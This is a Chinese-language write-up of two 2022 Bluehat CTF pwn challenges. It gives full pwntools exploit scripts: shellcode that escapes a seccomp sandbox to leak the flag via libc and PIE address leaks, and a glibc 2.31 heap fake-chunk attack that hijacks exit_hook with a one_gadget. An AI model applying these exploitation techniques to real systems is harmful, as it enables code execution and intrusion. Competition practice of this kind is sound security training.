2022 bluehat

初赛

EscapeShellcode

程序会申请一块堆地址,拥有执行权限,把每个寄存器都设为了0xdeadbeef。

image-20220710160145324

image-20220710160128054

同时开启沙箱,只允许调用write。

image-20220710160040693

程序会读取flag放入到bss上。

image-20220710160333732

最后就是进输入,再把我们输入内容进行调用,所以就是要去写shellcode,从而把bss上的flag读出来。

image-20220710160252649

我的思路为:因为开启沙箱,那么就会存在许多的堆块,这些堆块上是会存在脏数据的,通过数据得到libc地址,再去读取出libc中的environ变量,得到其中的栈地址,在通过栈上存放的程序地址而得到bss地址,最后输出flag。

清空寄存器。

image-20220710160709797

image-20220710160728217

得到脏数据。

image-20220710160841237

得到PIE。

image-20220710160913734

成功打印flag。

image-20220710161001175

该方法有缺陷,在于environ在不同的版本的偏移不同,所以需要找对libc版本,限制较大。

其他师傅的思路:直接打印数据,循环打印,从堆地址开始往上打印内容,直到打印出flag停止。这个就不需要版本内容,简单粗暴。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux')
elf = ELF('./escape_shellcode')
DEBUG = 0
if DEBUG:
p = process('./escape_shellcode')
else:
ip = '39.107.108.120'
port = 29356
#libc = ELF("./libc.so.6")
p = remote(ip, port)

def debug():
#gdb.attach(p, "b main")
gdb.attach(p, "b *$rebase(0x1367)")


#debug()
shellcode ='''
mov rdi, 1
mov rdx, 0x80
mov rcx, [rip + 0x1cb8]
shr rcx, 8
add rcx, 0x12c0
mov rbx, [rcx]
sub rbx, 0x221c08
mov rsi, [rbx]
sub rsi, 0xb8
mov rsi, [rsi]
add rsi, 0x2f80
mov rax, 1
syscall
'''
shellcode = asm(shellcode)
p.sendline(shellcode)
p.interactive()

Bank

因为少个队友,被迫去做了电子取证,加上上一题pwn卡了挺久,这题没机会做。

这题就是代码稍微比上题多了点,但难度不大,不过我觉得其中运用到的利用思想还是挺重要的。

一开始申请了一个0x18的堆块,注意这边是直接把地址的值作为一个int64类型赋值的,我一直以为是指针。。。导致后面的打印函数理解出错,后面花了不少时间才通过gdb调试发现问题。

image-20220721110736248

整个程序是模拟银行,刚开始程序的login以及取钱就不细说了。多提一个:就是这边的存钱也是有问题的,相等时是不会扣除money,我还以为后面会需要刷钱,结果貌似没用上。

image-20220721111312570

在进入到转账函数中,发现还有五个菜单函数,功能如注释。

image-20220721111429579

打印函数的话有要求只能打印堆地址+0xf8以后的内容,所以要进行合理堆块布局

image-20220721111554666

最后一个函数功能是可以对堆的fd指针指向地址写入一个值就退出,那毫无疑问,修改fd为exit_hook,再劫持exit_hook为ogg。

image-20220721111644535

因为最后是需要修改heap_ptr的fd指针的,所以还需要多泄露一个堆地址,这个通过2.31版本会在bk上添加key值来获得到tcache的地址。

而要获得libc地址则是去构造fake chunk,让其size大等于0x420,申请堆块去填补差额size,别忘了去垫堆块防止合并,最后把fake chunk释放掉,再通过malloc稳定申请0x18堆块去移动libc地址。fake chunk最好离heap_ptr近一点,这样可以少申请堆块就能泄露libc。

image-20220721113422895

成功!

image-20220721110556403

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#!usr/bin/env python 
#coding=utf-8
from imp import NullImporter
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./Bank')
DEBUG = 1
if DEBUG:
libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so")
ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so")
p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})
else:
ip = '127'
port = 30007
#libc = ELF("./libc.so.6")
p = remote(ip, port)

def debug(info='b main'):
gdb.attach(p, info)
#gdb.attach(p, "b *$rebase(0x)")


def login():
p.sendlineafter(b"Click: ", b'Login')
p.sendlineafter(b"Card Numbers: ", b'1')
p.sendlineafter(b"Password: ", b'1'*6)


def depo(num):
p.sendlineafter(b"Click: ", b"Deposit")
p.sendafter(b"How Much?", str(num).encode('ascii'))


def put(num):
p.sendlineafter(b"Click: ", b"Put")
p.sendafter(b"How Much?", str(num).encode('ascii'))


def tran(num, content, user=''):
p.sendlineafter(b"Click: ", b"Transfer")
p.sendlineafter(b"who? ", user.encode('ascii'))
if user == 'admin':
p.sendafter(b"How much? ", str(num).encode('ascii'))

elif user == 'hacker':
p.sendafter(b"How much? ", str(num).encode('ascii'))
p.recvuntil(b"hacker: Great!")
p.send(str(content).encode('ascii'))

elif user == 'guest':
p.sendafter(b"How much? ", str(num).encode('ascii'))
p.recvuntil(b"data: ")
p.send(content)

elif user == 'ghost':
p.sendafter(b"How much? ", str(num).encode('ascii'))
p.recvuntil(b"ghost: &^%$#@! :)\n")
p.send(str(content).encode('ascii'))

elif user == 'abyss':
p.sendafter(b"How much? ", str(num).encode('ascii'))
p.send(str(content).encode('ascii'))


login()
put(0x190)
tran(0xb, 0x38, 'ghost')
tran(6, p64(0)+p64(0x421), 'guest')
tran(0xb, 0x48, 'ghost')
tran(6, b'a'*0x10, 'guest')
tran(0xb, 0x58, 'ghost')
tran(6, b'a'*0x10, 'guest')
tran(0xb, 0x68, 'ghost')
tran(0x1f, 'a', 'admin')
p.recvuntil(b"I think 0x")
heap = int(p.recv(12), 16) - 0x10
log.info("heap_base==>0x%x" %heap)
tran(0xb, 0x78, 'ghost')
tran(6, b'a'*0x10, 'guest')
tran(0xb, 0x88, 'ghost')
tran(6, b'a'*0x10, 'guest')
tran(0xb, 0x98, 'ghost')
tran(6, b'a'*0x10, 'guest')
tran(0xb, 0x100, 'ghost')
tran(6, b'a'*0x10, 'guest')
tran(0x33, heap+0x310, 'hacker')
tran(6, b'a'*0x10, 'guest')
tran(6, b'a'*0x10, 'guest')
tran(6, b'a'*0x10, 'guest')
tran(6, b'a'*0x10, 'guest')
tran(0x1f, 'a', 'admin')
p.recvuntil(b"I think 0x")
leak = int(p.recv(12), 16) - 0x1ebbe0
log.info("libc_base==>0x%x" %leak)
exit_hook = leak + 0x426f68
ogg = leak + 0xe6c7e
tran(0x33, heap+0x2a0, 'hacker')
tran(6, p64(exit_hook), 'guest')
#debug()
tran(1, ogg, 'abyss')

p.interactive()


查看评论